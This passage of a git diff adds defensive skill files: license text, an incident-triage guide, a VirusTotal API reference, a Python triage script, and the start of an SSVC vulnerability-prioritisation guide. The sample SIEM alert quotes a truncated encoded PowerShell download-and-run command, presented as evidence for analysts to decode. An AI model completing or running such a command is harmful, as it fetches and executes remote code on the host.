writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + + 8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + + 9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + + END OF TERMS AND CONDITIONS + + APPENDIX: How to apply the Apache License to your work. + + To apply the Apache License to your work, attach the following + boilerplate notice, with the fields enclosed by brackets "[]" + replaced with your own identifying information. (Don't include + the brackets!) The text should be enclosed in the appropriate + comment syntax for the file format. Please do not remove or change + the license header comment from a contributed file except when + necessary. + + Copyright 2026 mukul975 + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. diff --git a/skills/cybersecurity/triaging-security-incident/SKILL.md b/skills/cybersecurity/triaging-security-incident/SKILL.md new file mode 100644 index 00000000..86f851a0 --- /dev/null +++ b/skills/cybersecurity/triaging-security-incident/SKILL.md @@ -0,0 +1,231 @@ +--- +name: triaging-security-incident +description: 'Performs initial triage of security incidents to determine severity, + scope, and required response actions using the NIST SP 800-61r3 and SANS PICERL + frameworks. Classifies incidents by type, assigns priority based on business impact, + and routes to appropriate response teams. Activates for requests involving incident + triage, security alert classification, severity assessment, incident prioritization, + or initial incident analysis. + + ' +domain: cybersecurity +subdomain: incident-response +tags: +- incident-triage +- NIST-800-61 +- SANS-PICERL +- severity-classification +- SOC-operations +mitre_attack: +- T1486 +- T1490 +- T1070 +- T1078 +version: 1.0.0 +author: mahipal +license: Apache-2.0 +d3fend_techniques: +- Executable Denylisting +- Execution Isolation +- File Metadata Consistency Validation +- Content Format Conversion +- File Content Analysis +nist_csf: +- RS.MA-01 +- RS.MA-02 +- RS.AN-03 +- RC.RP-01 +--- + +# Triaging Security Incidents + +## When to Use + +- A SIEM or EDR alert fires and requires human classification before escalation +- Multiple concurrent alerts arrive and the SOC must prioritize response order +- An end user reports suspicious activity and the incident needs initial categorization +- A threat intelligence feed matches an IOC observed in the environment + +**Do not use** for routine vulnerability scanning results or compliance audit findings that do not represent active security incidents. + +## Prerequisites + +- Access to SIEM platform (Splunk, Elastic, Microsoft Sentinel) with current alert data +- Incident classification taxonomy aligned to NIST SP 800-61r3 categories +- Predefined severity matrix mapping asset criticality to threat type +- Contact roster for escalation paths (Tier 1 through Tier 3 and CIRT) +- Asset inventory with business criticality ratings + +## Workflow + +### Step 1: Collect Initial Alert Data + +Gather all available context from the triggering alert before making classification decisions: + +- **Alert source**: Which detection system generated the alert (EDR, SIEM, IDS/IPS, firewall, user report) +- **Timestamp**: When the event occurred and when it was detected (dwell time gap) +- **Affected assets**: Hostnames, IP addresses, user accounts involved +- **Alert fidelity**: Historical true-positive rate for this detection rule +- **Raw evidence**: Log entries, packet captures, process execution chains + +``` +Example SIEM alert context: +Source: CrowdStrike Falcon +Detection: Suspicious PowerShell Execution (T1059.001) +Host: WORKSTATION-FIN-042 +User: jsmith@corp.example.com +Timestamp: 2025-11-15T14:23:17Z +Severity: High (detection rule confidence: 92%) +Process: powershell.exe -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoA... +Parent: outlook.exe (PID 4812) +``` + +### Step 2: Classify the Incident Type + +Map the alert to a standard incident category per NIST SP 800-61r3: + +| Category | Examples | +|----------|----------| +| Unauthorized Access | Compromised credentials, privilege escalation, IDOR | +| Denial of Service | Volumetric DDoS, application-layer flood, resource exhaustion | +| Malicious Code | Malware execution, ransomware detonation, cryptominer | +| Improper Usage | Policy violation, insider data exfiltration, shadow IT | +| Reconnaissance | Port scanning, directory enumeration, credential spraying | +| Web Application Attack | SQL injection, XSS, SSRF exploitation | + +### Step 3: Assign Severity Using Impact Matrix + +Calculate severity by combining asset criticality with threat severity: + +``` +Severity = f(Asset Criticality, Threat Type, Data Sensitivity, Lateral Movement Potential) + +Critical (P1): Crown jewel systems compromised, active data exfiltration, ransomware spreading +High (P2): Production system compromise, confirmed malware execution, privileged account takeover +Medium (P3): Non-production compromise, unsuccessful exploitation attempt, single endpoint malware +Low (P4): Reconnaissance activity, policy violation, benign true positive +``` + +Response SLA targets: +- P1: Acknowledge within 15 minutes, containment within 1 hour +- P2: Acknowledge within 30 minutes, containment within 4 hours +- P3: Acknowledge within 2 hours, investigation within 24 hours +- P4: Acknowledge within 8 hours, investigation within 72 hours + +### Step 4: Perform Initial Enrichment + +Before escalation, enrich the alert with contextual data: + +- **Threat intelligence**: Check IOCs (IP, hash, domain) against TI platforms (VirusTotal, OTX, MISP) +- **Asset context**: Query CMDB for asset owner, business function, data classification +- **User context**: Check identity provider for recent authentication anomalies, MFA status +- **Historical correlation**: Search for related alerts on the same host/user in the past 30 days +- **Network context**: Verify if source/destination IPs are internal, known partners, or external threat actors + +### Step 5: Document and Escalate + +Create a structured triage record and route to the appropriate response tier: + +``` +Incident Triage Record +━━━━━━━━━━━━━━━━━━━━━ +Ticket ID: INC-2025-1547 +Triage Analyst: [analyst name] +Triage Time: 2025-11-15T14:35:00Z (12 min from alert) +Classification: Malicious Code - Macro-based initial access +Severity: P2 - High +Affected Assets: WORKSTATION-FIN-042 (Finance dept, handles PII) +Affected Users: jsmith@corp.example.com +IOCs Identified: powershell.exe spawned by outlook.exe, encoded command +TI Matches: Base64 payload matches known Qakbot loader pattern +Escalation: Tier 2 - Malware IR team +Recommended: Isolate endpoint, preserve memory dump, block sender domain +``` + +### Step 6: Initiate Containment Hold + +If severity is P1 or P2, initiate immediate containment actions while awaiting full investigation: + +- Network-isolate the affected endpoint via EDR (CrowdStrike contain, Defender isolate) +- Disable compromised user accounts in Active Directory or identity provider +- Block identified malicious IPs/domains at firewall and DNS sinkhole +- Preserve volatile evidence (memory dump) before any remediation + +## Key Concepts + +| Term | Definition | +|------|------------| +| **Triage** | Rapid assessment process to classify and prioritize security incidents based on severity and business impact | +| **PICERL** | SANS incident response framework: Preparation, Identification, Containment, Eradication, Recovery, Lessons Learned | +| **Dwell Time** | Duration between initial compromise and detection; average is 10 days per Mandiant M-Trends 2025 | +| **True Positive Rate** | Percentage of alerts from a detection rule that represent genuine security incidents | +| **Crown Jewel Assets** | Systems and data critical to business operations whose compromise would cause severe organizational impact | +| **Alert Fatigue** | Degraded analyst performance caused by high volumes of low-fidelity or false-positive alerts | +| **Mean Time to Acknowledge (MTTA)** | Average time from alert generation to analyst acknowledgment; key SOC performance metric | + +## Tools & Systems + +- **Splunk Enterprise Security**: SIEM platform for alert aggregation, correlation, and triage workflow management +- **CrowdStrike Falcon**: EDR platform providing endpoint telemetry, detection, and one-click host containment +- **TheHive**: Open-source incident response platform for case management, task tracking, and team collaboration +- **MISP**: Threat intelligence sharing platform for IOC enrichment during triage +- **Cortex XSOAR**: SOAR platform for automating enrichment playbooks and triage decision trees + +## Common Scenarios + +### Scenario: Encoded PowerShell from Email Client + +**Context**: SOC analyst receives a P2 alert showing `powershell.exe` with a Base64-encoded command spawned as a child process of `outlook.exe` on a finance department workstation. + +**Approach**: +1. Decode the Base64 payload to determine the command intent +2. Check the parent process chain for anomalies (Outlook spawning PowerShell is abnormal) +3. Query VirusTotal for the decoded payload hash +4. Correlate with email gateway logs to identify the triggering email and sender +5. Check if other recipients in the organization received the same email +6. Isolate the endpoint and escalate to Tier 2 with full triage context + +**Pitfalls**: +- Dismissing encoded PowerShell as a false positive without decoding the payload +- Failing to check for lateral spread to other recipients of the same phishing email +- Remediating the endpoint before capturing volatile memory evidence + +## Output Format + +``` +INCIDENT TRIAGE REPORT +====================== +Ticket: INC-[YYYY]-[NNNN] +Date/Time: [ISO 8601 timestamp] +Triage Analyst: [Name] +Time to Triage: [minutes from alert to classification] + +CLASSIFICATION +Type: [NIST category] +Severity: [P1-P4] - [Critical/High/Medium/Low] +Confidence: [High/Medium/Low] +MITRE ATT&CK: [Technique ID and name] + +AFFECTED SCOPE +Assets: [hostname(s), IP(s)] +Users: [account(s)] +Data at Risk: [classification level] +Business Unit: [department] + +EVIDENCE SUMMARY +[Bullet list of key observations] + +ENRICHMENT RESULTS +TI Matches: [Yes/No - details] +Historical: [Related prior incidents] +Asset Criticality: [rating] + +RECOMMENDED ACTIONS +1. [Immediate action] +2. [Investigation step] +3. [Escalation target] + +ESCALATION +Routed To: [Team/Individual] +SLA Target: [Containment deadline] +``` diff --git a/skills/cybersecurity/triaging-security-incident/references/api-reference.md b/skills/cybersecurity/triaging-security-incident/references/api-reference.md new file mode 100644 index 00000000..408694c7 --- /dev/null +++ b/skills/cybersecurity/triaging-security-incident/references/api-reference.md @@ -0,0 +1,63 @@ +# API Reference: Triaging Security Incidents + +## requests Library (Threat Intel APIs) + +### VirusTotal API v3 +```python +headers = {"x-apikey": ""} +# IP lookup +requests.get(f"https://www.virustotal.com/api/v3/ip_addresses/{ip}", headers=headers) +# File hash lookup +requests.get(f"https://www.virustotal.com/api/v3/files/{sha256}", headers=headers) +# Domain lookup +requests.get(f"https://www.virustotal.com/api/v3/domains/{domain}", headers=headers) +``` + +### Response Fields +| Field | Description | +|-------|-------------| +| `last_analysis_stats.malicious` | Vendors detecting as malicious | +| `last_analysis_stats.undetected` | Vendors with no detection | +| `meaningful_name` | File name (for hash lookups) | +| `reputation` | Community reputation score | + +## NIST SP 800-61r3 Incident Categories +| Category | Examples | +|----------|----------| +| Unauthorized Access | Credential compromise, privilege escalation | +| Denial of Service | DDoS, resource exhaustion | +| Malicious Code | Malware, ransomware, cryptominer | +| Improper Usage | Policy violation, insider threat | +| Reconnaissance | Port scan, directory enumeration | +| Web Application Attack | SQLi, XSS, SSRF | + +## Severity Matrix +| Priority | Label | ACK SLA | Containment SLA | +|----------|-------|---------|-----------------| +| P1 | Critical | 15 min | 1 hour | +| P2 | High | 30 min | 4 hours | +| P3 | Medium | 2 hours | 24 hours | +| P4 | Low | 8 hours | 72 hours | + +## SANS PICERL Framework +1. **Preparation** - Tools, playbooks, team readiness +2. **Identification** - Detection and triage (this skill) +3. **Containment** - Isolate affected systems +4. **Eradication** - Remove threat from environment +5. **Recovery** - Restore systems to normal operation +6. **Lessons Learned** - Post-incident review + +## MITRE ATT&CK Mapping +| Technique | ID | Common Alert | +|-----------|----|--------------| +| Brute Force | T1110 | Multiple failed logins | +| PowerShell | T1059.001 | Encoded PS execution | +| Valid Accounts | T1078 | Anomalous authentication | +| Phishing | T1566 | Malicious email attachment | +| Exploit Public App | T1190 | Web attack detected | + +## References +- NIST SP 800-61r3: https://csrc.nist.gov/pubs/sp/800/61/r3/final +- SANS Incident Response: https://www.sans.org/white-papers/33901/ +- VirusTotal API: https://docs.virustotal.com/reference/overview +- MITRE ATT&CK: https://attack.mitre.org/ diff --git a/skills/cybersecurity/triaging-security-incident/scripts/agent.py b/skills/cybersecurity/triaging-security-incident/scripts/agent.py new file mode 100755 index 00000000..cd851103 --- /dev/null +++ b/skills/cybersecurity/triaging-security-incident/scripts/agent.py @@ -0,0 +1,262 @@ +#!/usr/bin/env python3 +"""Agent for triaging security incidents using NIST SP 800-61 and SANS PICERL frameworks.""" + +import requests +import json +import argparse +from datetime import datetime, timezone + + +NIST_CATEGORIES = { + "unauthorized_access": "Unauthorized Access", + "dos": "Denial of Service", + "malicious_code": "Malicious Code", + "improper_usage": "Improper Usage", + "reconnaissance": "Reconnaissance", + "web_attack": "Web Application Attack", +} + +SEVERITY_MATRIX = { + "P1": {"label": "Critical", "ack_sla": "15 min", "contain_sla": "1 hour", + "criteria": "Crown jewel compromise, active exfiltration, ransomware spreading"}, + "P2": {"label": "High", "ack_sla": "30 min", "contain_sla": "4 hours", + "criteria": "Production compromise, confirmed malware, privileged account takeover"}, + "P3": {"label": "Medium", "ack_sla": "2 hours", "contain_sla": "24 hours", + "criteria": "Non-production compromise, failed exploitation, single endpoint malware"}, + "P4": {"label": "Low", "ack_sla": "8 hours", "contain_sla": "72 hours", + "criteria": "Reconnaissance, policy violation, benign true positive"}, +} + + +def classify_incident(alert_data): + """Classify incident type based on alert indicators.""" + print("[*] Classifying incident type...") + alert_name = alert_data.get("alert_name", "").lower() + process = alert_data.get("process", "").lower() + event_code = alert_data.get("event_code", "") + + if any(kw in alert_name for kw in ["malware", "ransomware", "trojan", "cryptominer"]): + category = "malicious_code" + elif any(kw in alert_name for kw in ["brute force", "credential", "password spray"]): + category = "unauthorized_access" + elif any(kw in alert_name for kw in ["dos", "flood", "resource exhaustion"]): + category = "dos" + elif any(kw in alert_name for kw in ["sql injection", "xss", "ssrf", "xxe"]): + category = "web_attack" + elif any(kw in alert_name for kw in ["scan", "enum", "recon", "discovery"]): + category = "reconnaissance" + elif "powershell" in process and "encoded" in alert_name.lower(): + category = "malicious_code" + else: + category = "unauthorized_access" + + classification = NIST_CATEGORIES.get(category, "Unknown") + print(f" [+] Classification: {classification} ({category})") + return category, classification + + +def assess_severity(alert_data, asset_criticality="medium"): + """Calculate incident severity based on threat and asset context.""" + print("\n[*] Assessing severity...") + threat_score = 0 + + alert_severity = alert_data.get("severity", "").lower() + if alert_severity in ("critical", "high"): + threat_score += 3 + elif alert_severity == "medium": + threat_score += 2 + else: + threat_score += 1 + + confidence = alert_data.get("confidence", 50) + if confidence >= 80: + threat_score += 2 + elif confidence >= 50: + threat_score += 1 + + asset_scores = {"critical": 3, "high": 2, "medium": 1, "low": 0} + asset_score = asset_scores.get(asset_criticality, 1) + + total = threat_score + asset_score + if total >= 7: + priority = "P1" + elif total >= 5: + priority = "P2" + elif total >= 3: + priority = "P3" + else: + priority = "P4" + + sev_info = SEVERITY_MATRIX[priority] + print(f" [+] Priority: {priority} - {sev_info['label']}") + print(f" [+] ACK SLA: {sev_info['ack_sla']} | Containment SLA: {sev_info['contain_sla']}") + return priority, sev_info + + +def check_virustotal(api_key, indicator, indicator_type="ip"): + """Check an indicator against VirusTotal.""" + print(f"\n[*] Checking VirusTotal for {indicator_type}: {indicator}...") + base_urls = { + "ip": f"https://www.virustotal.com/api/v3/ip_addresses/{indicator}", + "hash": f"https://www.virustotal.com/api/v3/files/{indicator}", + "domain": f"https://www.virustotal.com/api/v3/domains/{indicator}", + } + url = base_urls.get(indicator_type) + if not url: + return {} + try: + headers = {"x-apikey": api_key} + resp = requests.get(url, headers=headers, timeout=15) + if resp.status_code == 200: + data = resp.json().get("data", {}).get("attributes", {}) + if indicator_type in ("ip", "domain"): + malicious = data.get("last_analysis_stats", {}).get("malicious", 0) + total = sum(data.get("last_analysis_stats", {}).values()) + print(f" [+] VT Result: {malicious}/{total} vendors flagged as malicious") + return {"malicious": malicious, "total": total} + elif indicator_type == "hash": + malicious = data.get("last_analysis_stats", {}).get("malicious", 0) + name = data.get("meaningful_name", "Unknown") + print(f" [+] VT Result: {name} - {malicious} detections") + return {"name": name, "malicious": malicious} + elif resp.status_code == 404: + print(f" [-] Not found in VirusTotal") + else: + print(f" [-] VT API error: {resp.status_code}") + except requests.RequestException as e: + print(f" [-] VT request failed: {e}") + return {} + + +def build_mitre_mapping(category, process_info=""): + """Map incident to MITRE ATT&CK techniques.""" + mappings = { + "malicious_code": [ + {"technique": "T1059.001", "name": "PowerShell"}, + {"technique": "T1204.002", "name": "User Execution: Malicious File"}, + ], + "unauthorized_access": [ + {"technique": "T1110", "name": "Brute Force"}, + {"technique": "T1078", "name": "Valid Accounts"}, + ], + "reconnaissance": [ + {"technique": "T1046", "name": "Network Service Discovery"}, + {"technique": "T1595", "name": "Active Scanning"}, + ], + "web_attack": [ + {"technique": "T1190", "name": "Exploit Public-Facing Application"}, + ], + } + techniques = mappings.get(category, []) + if techniques: + print(f"\n[*] MITRE ATT&CK mapping:") + for t in techniques: + print(f" - {t['technique']}: {t['name']}") + return techniques + + +def generate_triage_record(alert_data, classification, priority, sev_info, + ti_results, mitre, output_path): + """Generate a structured incident triage report.""" + triage_time = datetime.now(timezone.utc) + alert_time = alert_data.get("timestamp", triage_time.isoformat()) + + record = { + "ticket_id": f"INC-{triage_time.strftime('%Y')}-{hash(str(alert_data)) % 10000:04d}", + "triage_analyst": alert_data.get("analyst", "automated"), + "triage_time": triage_time.isoformat(), + "alert_time": alert_time, + "classification": { + "type": classification[1], + "category": classification[0], + "priority": priority, + "severity_label": sev_info["label"], + "confidence": alert_data.get("confidence", "Unknown"), + }, + "affected_scope": { + "assets": alert_data.get("affected_hosts", []), + "users": alert_data.get("affected_users", []), + "business_unit": alert_data.get("business_unit", "Unknown"), + }, + "evidence": { + "alert_source": alert_data.get("source", "Unknown"), + "alert_name": alert_data.get("alert_name", "Unknown"), + "raw_indicators": alert_data.get("indicators", {}), + }, + "enrichment": { + "threat_intel": ti_results, + "mitre_attack": mitre, + }, + "recommended_actions": [], + "sla": { + "acknowledge_by": sev_info["ack_sla"], + "contain_by": sev_info["contain_sla"], + }, + } + + if priority in ("P1", "P2"): + record["recommended_actions"] = [ + "Isolate affected endpoint via EDR", + "Disable compromised user account", + "Preserve volatile evidence (memory dump)", + "Escalate to Tier 2 IR team", + ] + else: + record["recommended_actions"] = [ + "Monitor for additional indicators", + "Review related alerts for the past 7 days", + "Document findings and close if benign", + ] + + with open(output_path, "w") as f: + json.dump(record, f, indent=2) + print(f"\n[*] Triage record saved to {output_path}") + print(f"[*] Ticket: {record['ticket_id']} | Priority: {priority} ({sev_info['label']})") + return record + + +def main(): + parser = argparse.ArgumentParser(description="Security Incident Triage Agent") + parser.add_argument("--alert-name", required=True, help="Name of the triggering alert") + parser.add_argument("--source", default="SIEM", help="Alert source system") + parser.add_argument("--severity", default="high", help="Alert severity") + parser.add_argument("--confidence", type=int, default=75, help="Alert confidence (0-100)") + parser.add_argument("--host", help="Affected hostname") + parser.add_argument("--src-ip", help="Source IP address") + parser.add_argument("--user", help="Affected username") + parser.add_argument("--process", default="", help="Suspicious process name") + parser.add_argument("--asset-criticality", default="medium", + choices=["critical", "high", "medium", "low"]) + parser.add_argument("--vt-key", help="VirusTotal API key for threat intel") + parser.add_argument("--indicator", help="IOC to check (IP, hash, or domain)") + parser.add_argument("--indicator-type", default="ip", choices=["ip", "hash", "domain"]) + parser.add_argument("-o", "--output", default="triage_record.json") + args = parser.parse_args() + + alert_data = { + "alert_name": args.alert_name, + "source": args.source, + "severity": args.severity, + "confidence": args.confidence, + "affected_hosts": [args.host] if args.host else [], + "affected_users": [args.user] if args.user else [], + "process": args.process, + "indicators": {"src_ip": args.src_ip}, + "timestamp": datetime.now(timezone.utc).isoformat(), + } + + print("[*] Security Incident Triage\n") + classification = classify_incident(alert_data) + priority, sev_info = assess_severity(alert_data, args.asset_criticality) + mitre = build_mitre_mapping(classification[0], args.process) + + ti_results = {} + if args.vt_key and args.indicator: + ti_results = check_virustotal(args.vt_key, args.indicator, args.indicator_type) + + generate_triage_record(alert_data, classification, priority, sev_info, + ti_results, mitre, args.output) + + +if __name__ == "__main__": + main() diff --git a/skills/cybersecurity/triaging-vulnerabilities-with-ssvc-framework/LICENSE b/skills/cybersecurity/triaging-vulnerabilities-with-ssvc-framework/LICENSE new file mode 100644 index 00000000..d8851182 --- /dev/null +++ b/skills/cybersecurity/triaging-vulnerabilities-with-ssvc-framework/LICENSE @@ -0,0 +1,201 @@ + + Apache License + Version 2.0, January 2004 + http://www.apache.org/licenses/ + + TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + + 1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to the Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by the Licensor and + subsequently incorporated within the Work. + + 2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + + 3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + + 4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding any notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + + 5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + + 6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + + 7. Disclaimer of Warranty. Unless required by applicable law or + agreed to in writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + + 8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + + 9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + + END OF TERMS AND CONDITIONS + + APPENDIX: How to apply the Apache License to your work. + + To apply the Apache License to your work, attach the following + boilerplate notice, with the fields enclosed by brackets "[]" + replaced with your own identifying information. (Don't include + the brackets!) The text should be enclosed in the appropriate + comment syntax for the file format. Please do not remove or change + the license header comment from a contributed file except when + necessary. + + Copyright 2026 mukul975 + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. diff --git a/skills/cybersecurity/triaging-vulnerabilities-with-ssvc-framework/SKILL.md b/skills/cybersecurity/triaging-vulnerabilities-with-ssvc-framework/SKILL.md new file mode 100644 index 00000000..282256fc --- /dev/null +++ b/skills/cybersecurity/triaging-vulnerabilities-with-ssvc-framework/SKILL.md @@ -0,0 +1,214 @@ +--- +name: triaging-vulnerabilities-with-ssvc-framework +description: Triage and prioritize vulnerabilities using CISA's Stakeholder-Specific + Vulnerability Categorization (SSVC) decision tree framework to produce actionable + remediation priorities. +domain: cybersecurity +subdomain: vulnerability-management +tags: +- ssvc +- vulnerability-triage +- cisa +- vulnerability-prioritization +- decision-tree +- cvss +- remediation +- risk-management +version: '1.0' +author: mahipal +license: Apache-2.0 +nist_csf: +- ID.RA-01 +- ID.RA-02 +- ID.IM-02 +- ID.RA-06 +mitre_attack: +- T1190 +- T1203 +- T1068 +--- + +# Triaging Vulnerabilities with SSVC Framework + +## Overview + +The Stakeholder-Specific Vulnerability Categorization (SSVC) framework, developed by Carnegie Mellon University's Software Engineering Institute (SEI) in collaboration with CISA, provides a structured decision-tree methodology for vulnerability prioritization. Unlike CVSS alone, SSVC accounts for exploitation status, technical impact, automatability, mission prevalence, and public well-being impact to produce one of four actionable outcomes: **Track**, **Track***, **Attend**, or **Act**. + + +## When to Use + +- When managing security operations that require triaging vulnerabilities with ssvc framework +- When improving security program maturity and operational processes +- When establishing standardized procedures for security team workflows +- When integrating threat intelligence or vulnerability data into operations + +## Prerequisites + +- Python 3.9+ with `requests`, `pandas`, and `jinja2` libraries +- Access to CISA KEV catalog API and EPSS API from FIRST +- NVD API key (optional, for higher rate limits) +- Vulnerability scan results from tools like OpenVAS, Nessus, or Qualys + +## SSVC Decision Points + +### 1. Exploitation Status +Assess current exploitation activity: +- **None** - No evidence of active exploitation +- **PoC** - Proof-of-concept exists publicly +- **Active** - Active exploitation observed in the wild (check CISA KEV) + +```bash +# Check if a CVE is in CISA Known Exploited Vulnerabilities catalog +curl -s "https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json" | \ + python3 -c "import sys,json; data=json.load(sys.stdin); cves=[v['cveID'] for v in data['vulnerabilities']]; print('Active' if 'CVE-2024-3400' in cves else 'Check PoC/None')" +``` + +### 2. Technical Impact +Determine scope of compromise if exploited: +- **Partial** - Limited to a subset of system functionality or data +- **Total** - Full control of the affected system, complete data access + +### 3. Automatability +Evaluate if exploitation can be automated at scale: +- **No** - Requires manual, targeted exploitation per victim +- **Yes** - Can be scripted or worm-like propagation is possible + +### 4. Mission Prevalence +How widespread is the affected product in your environment: +- **Minimal** - Limited deployment, non-critical systems +- **Support** - Supports mission-critical functions indirectly +- **Essential** - Directly enables core mission capabilities + +### 5. Public Well-Being Impact +Potential consequences for physical 